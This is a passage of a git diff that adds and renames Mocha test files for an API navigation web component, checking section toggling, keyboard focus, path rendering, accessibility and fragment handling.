+          element = await basicFixture();
+          element.amf = amf;
+          await nextFrame();
+        });
+
+        it('does nothing when node not found in path', () => {
+          const e = new MouseEvent('test');
+          e.composedPath = () => [];
+
+          element[toggleSectionHandler](e);
+          // No error
+        });
+
+        it('skips elements without dataset property', () => {
+          const e = new MouseEvent('test');
+          e.composedPath = () => [document.createTextNode('test')];
+          
+          element[toggleSectionHandler](e);
+        });
+
+        it('skips elements without data-section attribute', () => {
+          const node = document.createElement('span');
+          const e = new MouseEvent('test');
+          e.composedPath = () => [node];
+
+          element[toggleSectionHandler](e);
+        });
+
+        it('toggles the section', () => {
+          const node = document.createElement('span');
+          node.dataset.section = 'endpoints';
+          const e = new MouseEvent('test');
+          e.composedPath = () => [node];
+
+          element[toggleSectionHandler](e);
+          assert.isTrue(element.endpointsOpened);
+        });
+      });
+
+      describe('[selectMethodPassive]()', () => {
+        /** @type ApiNavigationElement */
+        let element;
+        /** @type AmfDocument */
+        let amf;
+
+        beforeEach(async () => {
+          amf = await loader.getGraph(compact, 'navigation-api');
+          element = await basicFixture();
+          element.amf = amf;
+          await nextFrame();
+        });
+
+        it('does nothing when the id is not in the DOM', () => {
+          element[selectMethodPassive]('some-id');
+          assert.isUndefined(element[hasPassiveSelection]);
+        });
+
+        it('adds the "passive-selected" class name to the method label', () => {
+          const { id } = element[endpointsValue][0].methods[0];
+          element[selectMethodPassive](id);
+          const node = element.shadowRoot.querySelector('.passive-selected');
+          // @ts-ignore
+          assert.equal(node.dataset.apiId, id);
+        });
+
+        it('sets the [hasPassiveSelection] flag', () => {
+          const { id } = element[endpointsValue][0].methods[0];
+          element[selectMethodPassive](id);
+          assert.isTrue(element[hasPassiveSelection]);
+        });
+
+        it('renders the toggle in the opened state', () => {
+          const { id } = element[endpointsValue][0].methods[0];
+          element[selectMethodPassive](id);
+          const node = element.shadowRoot.querySelector('.passive-selected');
+          // @ts-ignore
+          assert.isTrue(node.parentElement.opened);
+        });
+      });
+
+      describe('[itemClickHandler]()', () => {
+        /** @type ApiNavigationElement */
+        let element;
+        /** @type AmfDocument */
+        let amf;
+
+        beforeEach(async () => {
+          amf = await loader.getGraph(compact, 'navigation-api');
+          element = await summaryFixture();
+          element.amf = amf;
+          await nextFrame();
+        });
+
+        it('Uses currentTarget as the target', () => {
+          const node = element.shadowRoot.querySelector('.list-item.summary');
+          const spy = sinon.spy(element, selectItem);
+
+          // @ts-ignore
+          element[itemClickHandler]({
+            currentTarget: node,
+          });
+          assert.isTrue(spy.called);
+          assert.isTrue(spy.args[0][0] === node);
+        });
+
+        it('Uses target as the target', () => {
+          const node = element.shadowRoot.querySelector('.list-item.summary');
+          const spy = sinon.spy(element, selectItem);
+          // @ts-ignore
+          element[itemClickHandler]({
+            target: node,
+          });
+          assert.isTrue(spy.called);
+          assert.isTrue(spy.args[0][0] === node);
+        });
+
+        it('Makes adjustments for method label', () => {
+          const node = element.shadowRoot.querySelector('.method-label');
+          const parent = node.parentNode;
+          const spy = sinon.spy(element, selectItem);
+          // @ts-ignore
+          element[itemClickHandler]({
+            target: node,
+          });
+          assert.isTrue(spy.called);
+          assert.isTrue(spy.args[0][0] === parent);
+        });
+      });
+
+      describe('[flushQuery]()', () => {
+        /** @type ApiNavigationElement */
+        let element;
+        /** @type AmfDocument */
+        let amf;
+
+        beforeEach(async () => {
+          amf = await loader.getGraph(compact, 'navigation-api');
+          element = await summaryFixture();
+          element.amf = amf;
+          await nextFrame();
+        });
+
+        it('sets the [queryValue] as a lowercase query', () => {
+          element[queryDebouncer] = true;
+          element.query = 'Files';
+          element[flushQuery]();
+          assert.equal(element[queryValue], 'files');
+        });
+
+        it('Clear the query', () => {
+          element[queryDebouncer] = true;
+          element.query = '';
+          element[flushQuery]();
+          assert.equal(element[queryValue], '');
+        });
+      });
+
+      describe('computeRenderPath()', () => {
+        /** @type ApiNavigationElement */
+        let element;
+        /** @type AmfDocument */
+        let amf;
+
+        beforeEach(async () => {
+          amf = await loader.getGraph(compact, 'navigation-api');
+          element = await summaryFixture();
+          element.amf = amf;
+          await nextFrame();
+        });
+
+        it('Returns true when both arguments are true', () => {
+          const result = computeRenderPath(true, true);
+          assert.isTrue(result);
+        });
+
+        it('Returns false when allowPaths is false', () => {
+          const result = computeRenderPath(false, true);
+          assert.isFalse(result);
+        });
+
+        it('Returns false when allowPaths is not set', () => {
+          const result = computeRenderPath(undefined, true);
+          assert.isFalse(result);
+        });
+
+        it('Returns false when renderPath is false', () => {
+          const result = computeRenderPath(true, false);
+          assert.isFalse(result);
+        });
+
+        it('Returns false when renderPath is not set', () => {
+          const result = computeRenderPath(true, undefined);
+          assert.isFalse(result);
+        });
+
+        it('Returns false when both undefined', () => {
+          const result = computeRenderPath(false, false);
+          assert.isFalse(result);
+        });
+
+        it('Paths are hidden by default', () => {
+          const endpoint = loader.lookupEndpoint(amf, '/about');
+          const id = endpoint['@id'];
+          const node = element.shadowRoot.querySelector(
+            `.endpoint[data-endpoint-id="${id}"] .path-name`
+          );
+          assert.notOk(node);
+        });
+
+        it('Renders paths when "allowPaths" is set', async () => {
+          element.allowPaths = true;
+          await nextFrame();
+          const endpoint = loader.lookupEndpoint(amf, '/about');
+          const id = endpoint['@id'];
+          const node = element.shadowRoot.querySelector(
+            `.endpoint[data-endpoint-id="${id}"] .path-name`
+          );
+          assert.ok(node);
+        });
+      });
+
+      describe('AsyncAPI', () => {
+        /** @type ApiNavigationElement */
+        let element;
+        /** @type AmfDocument */
+        let amf;
+
+        beforeEach(async () => {
+          amf = await loader.getGraph(compact, asyncApi);
+          element = await basicFixture();
+          element.amf = amf;
+          await nextFrame();
+        });
+
+        it('should render channels', () => {
+          assert.lengthOf(element[endpointsValue], 2);
+        });
+
+        it('should render "Channels" label', () => {
+          assert.equal(
+            element.shadowRoot.querySelector('.endpoints div.title-h3')
+              .textContent,
+            'Channels'
+          );
+        });
+      });
+
+      describe('Unordered endpoints', () => {
+        /** @type ApiNavigationElement */
+        let element;
+        /** @type AmfDocument */
+        let amf;
+
+        beforeEach(async () => {
+          amf = await loader.getGraph(compact, unorderedEndpoints);
+          element = await basicFixture();
+          element.amf = amf;
+          await nextFrame();
+        });
+
+        it('should render full path of third endpoint', () => {
+          const nodes = /** @type NodeListOf<HTMLElement> */ (element.shadowRoot.querySelectorAll(
+            '.list-item.endpoint .endpoint-name'
+          ));
+          
+          assert.equal(nodes[2].innerText, '/foo/bar');
+        });
+      });
+
+      describe('APIC-550', () => {
+        /** @type ApiNavigationElement */
+        let element;
+        /** @type AmfDocument */
+        let amf;
+
+        it('should render without errors', async () => {
+          amf = await loader.getGraph(compact, 'APIC-550');
+          element = await modelFixture(amf);
+          await nextFrame();
+          assert.lengthOf(element[endpointsValue], 1);
+        });
+      });
+
+      describe('APIC-554', () => {
+        /** @type ApiNavigationElement */
+        let element;
+        /** @type AmfDocument */
+        let amf;
+
+        before(async () => {
+          amf = await loader.getGraph(compact, 'APIC-554');
+        });
+
+        beforeEach(async () => {
+          element = await modelFixture(amf);
+        });
+
+        it('should compute endpoint names correctly', () => {
+          const labels = [
+            '/customer/{customerId}/chromeos',
+            '/deviceId',
+            '/customerId',
+          ];
+          assert.deepEqual(
+            element[endpointsValue].map(e => e.label),
+            labels
+          );
+        });
+      });
+
+      describe('APIC-554-ii', () => {
+        /** @type ApiNavigationElement */
+        let element;
+        /** @type AmfDocument */
+        let amf;
+
+        before(async () => {
+          amf = await loader.getGraph(compact, 'APIC-554-ii');
+        });
+
+        beforeEach(async () => {
+          element = await modelFixture(amf);
+        });
+
+        it('should compute endpoint names correctly', () => {
+          const labels = [
+            '/customers/{customer}/chromeos/deviceId',
+            '/customer/{customer}/chromeos/deviceId',
+          ];
+          assert.deepEqual(
+            element[endpointsValue].map(e => e.label),
+            labels
+          );
+        });
+      });
+
+      describe('SE-19215', () => {
+        /** @type ApiNavigationElement */
+        let element;
+        /** @type AmfDocument */
+        let amf;
+
+        before(async () => {
+          amf = await loader.getGraph(compact, 'SE-19215');
+        });
+
+        beforeEach(async () => {
+          element = await modelFixture(amf);
+        });
+
+        it('should compute endpoint names correctly', () => {
+          const labels = ['/omaha/transactionscall1', '/transactions/call2'];
+          assert.deepEqual(
+            element[endpointsValue].map(e => e.label),
+            labels
+          );
+        });
+      });
+
+      describe('operationsOpened', () => {
+        /** @type ApiNavigationElement */
+        let element;
+        /** @type AmfDocument */
+        let amf;
+
+        before(async () => {
+          amf = await loader.getGraph(compact, 'navigation-api');
+        });
+
+        beforeEach(async () => {
+          element = await operationsOpenedFixture(amf, true);
+          await aTimeout(0);
+        });
+
+        it('should expand all operations when operationsOpened', () => {
+          const operations = element.shadowRoot.querySelectorAll('.list-item.endpoint');
+          assert.equal(operations.length, 32);
+
+          let openedOperations = 0;
+          operations.forEach(e => {
+            if (e.getAttribute('data-endpoint-opened') === '') {
+              openedOperations++;
+            }
+          });
+          assert.equal(openedOperations, 32);
+        });
+      });
+
+      describe('GH-27', () => {
+        /** @type ApiNavigationElement */
+        let element;
+        /** @type AmfDocument */
+        let amf;
+
+        before(async () => {
+          amf = await loader.getGraph(compact, 'navigation-api');
+        });
+
+        beforeEach(async () => {
+          element = await modelFixture(amf);
+          await aTimeout(0);
+        });
+
+        it('selected operation should expand endpoint', async () => {
+          const operation = /** @type HTMLElement */ (element.shadowRoot.querySelector('.list-item.operation[data-shape="operation"]'));
+          element.domainId = operation.dataset.apiId;
+          element.domainType = 'operation';
+          await nextFrame();
+          assert.equal(operation.classList.contains('selected'), true);
+          assert.notEqual(operation.parentElement.getAttribute('data-endpoint-opened'), null);
+        });
+      });
+
+      describe('noOverview', () => {
+        /** @type ApiNavigationElement */
+        let element;
+        /** @type AmfDocument */
+        let amf;
+
+        before(async () => {
+          amf = await loader.getGraph(compact, 'simple-api');
+        });
+
+        beforeEach(async () => {
+          element = await modelFixture(amf);
+        });
+
+        it('should set noOverview to false by default', () => {
+          assert.isFalse(element.noOverview)
+        });
+
+        it('should render endpoints overview by default', () => {
+          const endpoints = element.shadowRoot.querySelectorAll(
+            '.list-item.operation[data-shape="resource"]'
+          );
+          assert.equal(endpoints.length, 3);
+        });
+
+        it('should render endpoints name by default', () => {
+          const endpoints = element.shadowRoot.querySelectorAll(
+            '.endpoint-name'
+          );
+          assert.equal(endpoints.length, 3);
+        });
+
+        it('should set noOverview to true', async () => {
+          element.noOverview = true;
+          await aTimeout(0);
+
+          assert.isTrue(element.noOverview)
+        });
+
+        it('should not render endpoints overview when noOverview', async () => {
+          element.noOverview = true;
+          await aTimeout(0);
+
+          const endpoints = element.shadowRoot.querySelectorAll(
+            '.list-item.operation[data-shape="resource"]'
+          );
+          assert.equal(endpoints.length, 0);
+        });
+
+        it('should render clickable endpoints name when noOverview', async () => {
+          element.noOverview = true;
+          await aTimeout(0);
+
+          const endpoints = element.shadowRoot.querySelectorAll(
+            '.endpoint-name-overview'
+          );
+          assert.equal(endpoints.length, 3);
+        });
+
+        it('should select endpoint when clicking its name', async () => {
+          element.noOverview = true;
+          await aTimeout(0);
+
+          const endpointName = /** @type HTMLElement */ (element.shadowRoot.querySelector('.endpoint-name-overview'));
+          endpointName.click();
+          await aTimeout(0);
+
+          const endpoint = element.shadowRoot.querySelector(`.endpoint[data-endpoint-id="${endpointName.dataset.apiId}"]`);
+          assert.equal(endpoint.className, "list-item endpoint selected");
+        });
+
+        describe('menu keyboard navigation', () => {
+          it('should focus on endpoint path detail first', async () => {
+            element.noOverview = true;
+            element.endpointsOpened = true;
+            await aTimeout(5);
+            element.dispatchEvent(new Event('focus', { bubbles: false }));
+            await nextFrame();
+            // Key press down
+            element.dispatchEvent(keyboardEvent('ArrowDown', 40));
+            await nextFrame();
+            const node = element.shadowRoot.querySelector('div[data-endpoint-path="/one"] .path-details');
+            assert.equal(
+              element.focusedItem,
+              node,
+              'element.focusedItem is last item'
+            );
+          });
+
+          it('should focus on endpoint toggle arrow second', async () => {
+            element.noOverview = true;
+            element.endpointsOpened = true;
+            await aTimeout(5);
+            element.dispatchEvent(new Event('focus', { bubbles: false }));
+            await nextFrame();
+            // Key press down
+            element.dispatchEvent(keyboardEvent('ArrowDown', 40));
+            element.dispatchEvent(keyboardEvent('ArrowDown', 40));
+            await nextFrame();
+            const node = element.shadowRoot.querySelector('div[data-endpoint-path="/one"] anypoint-icon-button');
+            assert.equal(
+              element.focusedItem,
+              node,
+              'element.focusedItem is last item'
+            );
+          });
+        });
+      });
+
+      describe('renderFullPaths', () => {
+        /** @type ApiNavigationElement */
+        let element;
+        /** @type AmfDocument */
+        let amf;
+
+        beforeEach(async () => {
+          amf = await loader.getGraph(compact, 'navigation-api');
+          element = await basicFixture();
+          element.amf = amf;
+          await nextFrame();
+        });
+
+        it('renders full paths when renderFullPaths is set', async () => {
+          element.renderFullPaths = true;
+          element.endpointsOpened = true;
+          await aTimeout(50);
+          const renderedPath = element.shadowRoot.querySelectorAll('.list-item.endpoint')[2].textContent.split('\n').join('').trim();
+          assert.equal(renderedPath, '/files/{fileId}/copy');
+        });
+
+        it('does not indent any endpoint', async () => {
+          element.renderFullPaths = true;
+          element.endpointsOpened = true;
+          await aTimeout(50);
+          element[endpointsValue].forEach(endpoint => assert.equal(endpoint.indent, 0));
+        });
+      });
+    });
+  });
+
+  describe('a11y', () => {
+    /** @type ApiNavigationElement */
+    let element;
+    beforeEach(async () => {
+      const amf = await loader.getGraph(true, 'navigation-api');
+      element = await summaryFixture();
+      element.amf = amf;
+      element.domainId = 'summary';
+      await nextFrame();
+    });
+
+    it('performs a11y tests', async () => {
+      await assert.isAccessible(element);
+    });
+  });
+
+  describe('default opened state', () => {
+    /** @type AmfDocument */
+    let amf;
+    before(async () => {
+      amf = await loader.getGraph(true, 'navigation-api');
+    });
+
+    it('opens endpoints when initialized', async () => {
+      const element = await endpointsOpenedFixture(amf);
+      const node = /** @type AnypointCollapseElement */ (element.shadowRoot.querySelector(
+        '.endpoints > anypoint-collapse'
+      ));
+      assert.isTrue(node.opened);
+    });
+
+    it('opens documentation when initialized', async () => {
+      const element = await docsOpenedFixture(amf);
+      const node = /** @type AnypointCollapseElement */ (element.shadowRoot.querySelector(
+        '.documentation > anypoint-collapse'
+      ));
+      assert.isTrue(node.opened);
+    });
+
+    it('opens types when initialized', async () => {
+      const element = await typesOpenedFixture(amf);
+      const node = /** @type AnypointCollapseElement */ (element.shadowRoot.querySelector('.types > anypoint-collapse'));
+      assert.isTrue(node.opened);
+    });
+
+    it('opens security when initialized', async () => {
+      const element = await securityOpenedFixture(amf);
+      const node = /** @type AnypointCollapseElement */ (element.shadowRoot.querySelector(
+        '.security > anypoint-collapse'
+      ));
+      assert.isTrue(node.opened);
+    });
+  });
+
+  describe('a11y', () => {
+    /** @type AmfDocument */
+    let amf;
+
+    before(async () => {
+      amf = await loader.getGraph(true, 'simple-api');
+    });
+
+    describe('menu keyboard tests', () => {
+      /** @type ApiNavigationElement */
+      let element;
+      beforeEach(async () => {
+        element = await modelFixture(amf);
+      });
+
+      it('first item gets focus when menu is focused', async () => {
+        element.dispatchEvent(new Event('focus', { bubbles: false }));
+        await aTimeout(0);
+        const node = element.shadowRoot.querySelector(
+          '.endpoints .section-title'
+        );
+        assert.equal(
+          element.focusedItem,
+          node,
+          'element.focusedItem is first item'
+        );
+      });
+
+      it('selected item gets focus when menubar is focused', async () => {
+        element.endpointsOpened = true;
+        await aTimeout(0);
+        const node = /** @type HTMLElement */ (element.shadowRoot.querySelector('.list-item.operation'));
+        node.click();
+        window.focus();
+        await aTimeout(0);
+        element.dispatchEvent(new Event('focus', { bubbles: false }));
+        assert.equal(
+          element.focusedItem,
+          node,
+          'element.focusedItem is first item'
+        );
+      });
+
+      it('focused on previous item', async () => {
+        element.endpointsOpened = true;
+        await aTimeout(0);
+        element.dispatchEvent(new Event('focus', { bubbles: false }));
+        await aTimeout(0);
+        // Key press up
+        element.dispatchEvent(keyboardEvent('ArrowUp', 38));
+        await aTimeout(0);
+        const node = element.shadowRoot.querySelectorAll(
+          '.endpoints > anypoint-collapse .list-item.endpoint'
+        )[2];
+        assert.equal(
+          element.focusedItem,
+          node,
+          'element.focusedItem is last item'
+        );
+      });
+
+      it('focused on next item', async () => {
+        element.dispatchEvent(new Event('focus', { bubbles: false }));
+        await aTimeout(0);
+        // Key press down
+        element.dispatchEvent(keyboardEvent('ArrowDown', 40));
+        await aTimeout(0);
+        const node = element.shadowRoot.querySelector(
+          '.endpoints > .section-title'
+        );
+        assert.equal(
+          element.focusedItem,
+          node,
+          'element.focusedItem is last item'
+        );
+      });
+
+      it('focused on next item', async () => {
+        element.dispatchEvent(new Event('focus', { bubbles: false }));
+        await aTimeout(0);
+        // Key press down
+        element.dispatchEvent(keyboardEvent('ArrowDown', 40));
+        await aTimeout(0);
+        const node = element.shadowRoot.querySelector(
+          '.endpoints > .section-title'
+        );
+        assert.equal(
+          element.focusedItem,
+          node,
+          'element.focusedItem is last item'
+        );
+      });
+
+      it('keyboard events should not bubble', async () => {
+        let keyCounter = 0;
+        element.parentElement.addEventListener('keydown', event => {
+          if (event.key === 'Escape') {
+            keyCounter++;
+          }
+          if (event.key === 'ArrowUp') {
+            keyCounter++;
+          }
+          if (event.key === 'ArrowDown') {
+            keyCounter++;
+          }
+        });
+        // up
+        element.dispatchEvent(keyboardEvent('ArrowUp', 38));
+        // down
+        element.dispatchEvent(keyboardEvent('ArrowDown', 40));
+        // esc
+        element.dispatchEvent(keyboardEvent('Escape', 27));
+        await aTimeout(0);
+        assert.equal(keyCounter, 0);
+      });
+
+      it('selects operation item with space bar', () => {
+        const node = /** @type HTMLElement */ (element.shadowRoot.querySelector('.list-item.operation'));
+        node.dispatchEvent(keyboardEvent('Space', 32));
+        assert.equal(element.domainId, node.dataset.apiId);
+      });
+
+      it('selects operation item with enter', () => {
+        const node = /** @type HTMLElement */ (element.shadowRoot.querySelector('.list-item.operation'));
+        node.dispatchEvent(keyboardEvent('Enter', 13));
+        assert.equal(element.domainId, node.dataset.apiId);
+      });
+
+      it('toggles endpoints with space bar', () => {
+        const node = /** @type HTMLElement */ (element.shadowRoot.querySelector('.section-title'));
+        node.dispatchEvent(keyboardEvent('Space', 32));
+        assert.isTrue(element.endpointsOpened);
+      });
+
+      it('toggles endpoint with space bar', async() => {
+        const node = /** @type HTMLElement */ (element.shadowRoot.querySelector('.list-item.endpoint'));
+        node.dispatchEvent(keyboardEvent('Space', 32));
+        await aTimeout(0);
+        // @ts-ignore
+        assert.isTrue(node.nextElementSibling.opened);
+      });
+
+      it('shift+tab removes focus', async () => {
+        element.dispatchEvent(new Event('focus', { bubbles: false }));
+        // Wait for async focus
+        await aTimeout(0);
+        // Key press 'Tab'
+        const e = new KeyboardEvent('keydown', {
+          detail: 0,
+          bubbles: true,
+          cancelable: true,
+          composed: true,
+          keyCode: 9,
+          code: 'Tab',
+          key: 'Tab',
+          shiftKey: true,
+        });
+        element.dispatchEvent(e);
+        assert.equal(element.getAttribute('tabindex'), '-1');
+        assert.isTrue(element[shiftTabPressed]);
+        assert.equal(element[focusedItemPrivate], null);
+        await aTimeout(1);
+        assert.isFalse(element[shiftTabPressed]);
+        assert.equal(element.getAttribute('tabindex'), '0');
+      });
+    });
+  });
+});
diff --git a/test/navigation/amf-model.test.js b/test/legacy-navigation/amf-model.test.js
similarity index 97%
rename from test/navigation/amf-model.test.js
rename to test/legacy-navigation/amf-model.test.js
index 76758ec..9570659 100644
--- a/test/navigation/amf-model.test.js
+++ b/test/legacy-navigation/amf-model.test.js
@@ -1,22 +1,22 @@
 import { fixture, assert, nextFrame, aTimeout, html } from '@open-wc/testing';
 import { AmfLoader } from '../AmfLoader.js';
-import '../../define/api-navigation.js';
+import '../../define/api-navigation-legacy.js';
 import { 
   collectData, 
   docsValue,
   typesValue,
   securityValue,
   endpointsValue,
-} from '../../src/elements/ApiNavigationElement.js';
+} from '../../src/elements/ApiNavigationLegacyElement.js';
 import { NavigationEvents } from '../../src/events/NavigationEvents.js';
 
 /* eslint-disable no-plusplus */
 /* eslint-disable prefer-destructuring */
 
-/** @typedef {import('../../').ApiNavigationElement} ApiNavigationElement */
+/** @typedef {import('../../').ApiNavigationLegacyElement} ApiNavigationElement */
 /** @typedef {import('../../').Amf.AmfDocument} AmfDocument */
 
-describe('ApiNavigationElement', () => {
+describe('ApiNavigationLegacyElement', () => {
   const loader = new AmfLoader();
 
   /**
@@ -24,7 +24,7 @@ describe('ApiNavigationElement', () => {
    * @returns {Promise<ApiNavigationElement>}
    */
   async function basicFixture(amf) {
-    return fixture(html`<api-navigation .amf="${amf}"></api-navigation>`);
+    return fixture(html`<api-navigation-legacy .amf="${amf}"></api-navigation-legacy>`);
   }
 
   describe('AMF Computations', () => {
diff --git a/test/legacy-navigation/documentation-fragment.test.js b/test/legacy-navigation/documentation-fragment.test.js
new file mode 100644
index 0000000..3ebb22a
--- /dev/null
+++ b/test/legacy-navigation/documentation-fragment.test.js
@@ -0,0 +1,76 @@
+import { fixture, assert, nextFrame, html } from '@open-wc/testing';
+import { AmfLoader } from '../AmfLoader.js';
+import '../../define/api-navigation-legacy.js';
+import {
+  docsValue,
+  typesValue,
+  securityValue,
+  endpointsValue,
+  isFragmentValue,
+} from '../../src/elements/ApiNavigationLegacyElement.js';
+
+/** @typedef {import('../../').ApiNavigationLegacyElement} ApiNavigationElement */
+/** @typedef {import('../../').Amf.AmfDocument} AmfDocument */
+
+describe('ApiNavigationLegacyElement', () => {
+  describe('Documentation fragment', () => {
+    const loader = new AmfLoader();
+
+    /**
+     * @param {AmfDocument=} amf
+     * @returns {Promise<ApiNavigationElement>}
+     */
+    async function basicFixture(amf) {
+      return fixture(html`<api-navigation-legacy .amf="${amf}"></api-navigation-legacy>`);
+    }
+
+    [false, true].forEach((compact) => {
+      describe(compact ? 'Compact model' : 'Full model', () => {
+        /** @type ApiNavigationElement */
+        let element;
+
+        beforeEach(async () => {
+          const amf = await loader.getGraph(compact, 'documentation-fragment');
+          element = await basicFixture(amf);
+        });
+
+        it('collects the documentation information', () => {
+          const result = element[docsValue];
+          assert.lengthOf(result, 1);
+          assert.typeOf(result[0].id, 'string');
+          assert.equal(result[0].label, 'About');
+        });
+
+        it('opens the Documentation', () => {
+          assert.isTrue(element.docsOpened);
+        });
+
+        it('sets the [isFragmentValue]', () => {
+          assert.isTrue(element[isFragmentValue]);
+        });
+
+        it('sets the summaryRendered', () => {
+          assert.isFalse(element.summaryRendered);
+        });
+
+        it('does not render the summary', async () => {
+          await nextFrame();
+          const panel = element.shadowRoot.querySelector('.summary');
+          assert.notOk(panel);
+        });
+
+        it('does not set types', () => {
+          assert.isUndefined(element[typesValue]);
+        });
+
+        it('does not set security', () => {
+          assert.isUndefined(element[securityValue]);
+        });
+
+        it('does not set endpoints', () => {
+          assert.isUndefined(element[endpointsValue]);
+        });
+      });
+    });
+  });
+});
diff --git a/test/navigation/oas-external-docs.test.js b/test/legacy-navigation/oas-external-docs.test.js
similarity index 90%
rename from test/navigation/oas-external-docs.test.js
rename to test/legacy-navigation/oas-external-docs.test.js
index 98579ef..cd60c06 100644
--- a/test/navigation/oas-external-docs.test.js
+++ b/test/legacy-navigation/oas-external-docs.test.js
@@ -1,14 +1,14 @@
 import { fixture, assert, html } from '@open-wc/testing';
 import { AmfLoader } from '../AmfLoader.js';
-import '../../define/api-navigation.js';
+import '../../define/api-navigation-legacy.js';
 import {
   docsValue,
-} from '../../src/elements/ApiNavigationElement.js';
+} from '../../src/elements/ApiNavigationLegacyElement.js';
 
-/** @typedef {import('../../').ApiNavigationElement} ApiNavigationElement */
+/** @typedef {import('../../').ApiNavigationLegacyElement} ApiNavigationElement */
 /** @typedef {import('../../').Amf.AmfDocument} AmfDocument */
 
-describe('ApiNavigationElement', () => {
+describe('ApiNavigationLegacyElement', () => {
   describe('OAS external documentation computations', () => {
     const loader = new AmfLoader();
 
@@ -17,7 +17,7 @@ describe('ApiNavigationElement', () => {
      * @returns {Promise<ApiNavigationElement>}
      */
     async function basicFixture(amf) {
-      return fixture(html`<api-navigation .amf="${amf}"></api-navigation>`);
+      return fixture(html`<api-navigation-legacy .amf="${amf}"></api-navigation-legacy>`);
     }
 
     [false, true].forEach((compact) => {
diff --git a/test/navigation/oas-security.test.js b/test/legacy-navigation/oas-security.test.js
similarity index 95%
rename from test/navigation/oas-security.test.js
rename to test/legacy-navigation/oas-security.test.js
index 772e06d..a8e07a9 100644
--- a/test/navigation/oas-security.test.js
+++ b/test/legacy-navigation/oas-security.test.js
@@ -1,14 +1,14 @@
 import { fixture, assert, html } from '@open-wc/testing';
 import { AmfLoader } from '../AmfLoader.js';
-import '../../define/api-navigation.js';
+import '../../define/api-navigation-legacy.js';
 import {
   securityValue,
-} from '../../src/elements/ApiNavigationElement.js';
+} from '../../src/elements/ApiNavigationLegacyElement.js';
 
-/** @typedef {import('../../').ApiNavigationElement} ApiNavigationElement */
+/** @typedef {import('../../').ApiNavigationLegacyElement} ApiNavigationElement */
 /** @typedef {import('../../').Amf.AmfDocument} AmfDocument */
 
-describe('ApiNavigationElement', () => {
+describe('ApiNavigationLegacyElement', () => {
   describe('OAS security computations', () => {
     const loader = new AmfLoader();
 
@@ -17,7 +17,7 @@ describe('ApiNavigationElement', () => {
      * @returns {Promise<ApiNavigationElement>}
      */
     async function basicFixture(amf) {
-      return fixture(html`<api-navigation .amf="${amf}"></api-navigation>`);
+      return fixture(html`<api-navigation-legacy .amf="${amf}"></api-navigation-legacy>`);
     }
 
     [false, true].forEach((compact) => {
diff --git a/test/legacy-navigation/security-fragment.test.js b/test/legacy-navigation/security-fragment.test.js
new file mode 100644
index 0000000..d7a7eda
--- /dev/null
+++ b/test/legacy-navigation/security-fragment.test.js
@@ -0,0 +1,78 @@
+import { fixture, assert, nextFrame, html } from '@open-wc/testing';
+import { AmfLoader } from '../AmfLoader.js';
+import '../../define/api-navigation-legacy.js';
+import {
+  docsValue,
+  typesValue,
+  securityValue,
+  endpointsValue,
+  isFragmentValue,
+} from '../../src/elements/ApiNavigationLegacyElement.js';
+
+/** @typedef {import('../../').ApiNavigationLegacyElement} ApiNavigationElement */
+/** @typedef {import('../../').Amf.AmfDocument} AmfDocument */
+
+describe('ApiNavigationLegacyElement', () => {
+  describe('Security fragment', () => {
+    const loader = new AmfLoader();
+
+    /**
+     * @param {AmfDocument=} amf
+     * @returns {Promise<ApiNavigationElement>}
+     */
+    async function basicFixture(amf) {
+      return fixture(html`<api-navigation-legacy .amf="${amf}"></api-navigation-legacy>`);
+    }
+
+    [false, true].forEach((compact) => {
+      describe(compact ? 'Compact model' : 'Full model', () => {
+        /** @type ApiNavigationElement */
+        let element;
+
+        beforeEach(async () => {
+          const amf = await loader.getGraph(compact, 'oauth2-fragment');
+          element = await basicFixture();
+          element.amf = amf;
+          await nextFrame();
+        });
+
+        it('Documentation is undefined', () => {
+          assert.isUndefined(element[docsValue]);
+        });
+
+        it('Types is undefined', () => {
+          assert.isUndefined(element[typesValue]);
+        });
+
+        it('Security is computed', () => {
+          const result = element[securityValue];
+          assert.lengthOf(result, 1);
+          assert.typeOf(result[0].id, 'string');
+          assert.equal(result[0].label, 'MyOauth - OAuth 2.0');
+        });
+
+        it('Endpoints is undefined', () => {
+          assert.isUndefined(element[endpointsValue]);
+        });
+
+        it('Security is opened', () => {
+          assert.isTrue(element.securityOpened);
+        });
+
+        it('[isFragmentValue] is set', () => {
+          assert.isTrue(element[isFragmentValue]);
+        });
+
+        it('summaryRendered is false', () => {
+          assert.isFalse(element.summaryRendered);
+        });
+
+        it('summary is not rendered', async () => {
+          await nextFrame();
+          const panel = element.shadowRoot.querySelector('.summary');
+          assert.notOk(panel);
+        });
+      });
+    });
+  });
+});
diff --git a/test/legacy-navigation/type-fragment.test.js b/test/legacy-navigation/type-fragment.test.js
new file mode 100644
index 0000000..4eeee32
--- /dev/null
+++ b/test/legacy-navigation/type-fragment.test.js
@@ -0,0 +1,78 @@
+import { fixture, assert, nextFrame, html } from '@open-wc/testing';
+import { AmfLoader } from '../AmfLoader.js';
+import '../../define/api-navigation-legacy.js';
+import {
+  docsValue,
+  typesValue,
+  securityValue,
+  endpointsValue,
+  isFragmentValue,
+} from '../../src/elements/ApiNavigationLegacyElement.js';
+
+/** @typedef {import('../../').ApiNavigationLegacyElement} ApiNavigationElement */
+/** @typedef {import('../../').Amf.AmfDocument} AmfDocument */
+
+describe('ApiNavigationElement', () => {
+  describe('Type fragment', () => {
+    const loader = new AmfLoader();
+
+    /**
+     * @param {AmfDocument=} amf
+     * @returns {Promise<ApiNavigationElement>}
+     */
+    async function basicFixture(amf) {
+      return fixture(html`<api-navigation-legacy .amf="${amf}"></api-navigation-legacy>`);
+    }
+
+    [false, true].forEach((compact) => {
+      describe(compact ? 'Compact model' : 'Full model', () => {
+        /** @type ApiNavigationElement */
+        let element;
+
+        beforeEach(async () => {
+          const amf = await loader.getGraph(compact, 'type-fragment');
+          element = await basicFixture();
+          element.amf = amf;
+          await nextFrame();
+        });
+
+        it('Documentation is undefined', () => {
+          assert.isUndefined(element[docsValue]);
+        });
+
+        it('Types is computed', () => {
+          const result = element[typesValue];
+          assert.lengthOf(result, 1);
+          assert.typeOf(result[0].id, 'string');
+          assert.equal(result[0].label, 'A person resource');
+        });
+
+        it('Security is undefined', () => {
+          assert.isUndefined(element[securityValue]);
+        });
+
+        it('Endpoints is undefined', () => {
+          assert.isUndefined(element[endpointsValue]);
+        });
+
+        it('Types is opened', () => {
+          assert.isTrue(element.typesOpened);
+        });
+
+        it('[isFragmentValue] is set', () => {
+          assert.isTrue(element[isFragmentValue]);
+        });
+
+        it('summaryRendered is false', () => {
+          assert.isFalse(element.summaryRendered);
+        });
+
+        it('summary is not rendered', async () => {
+          await nextFrame();
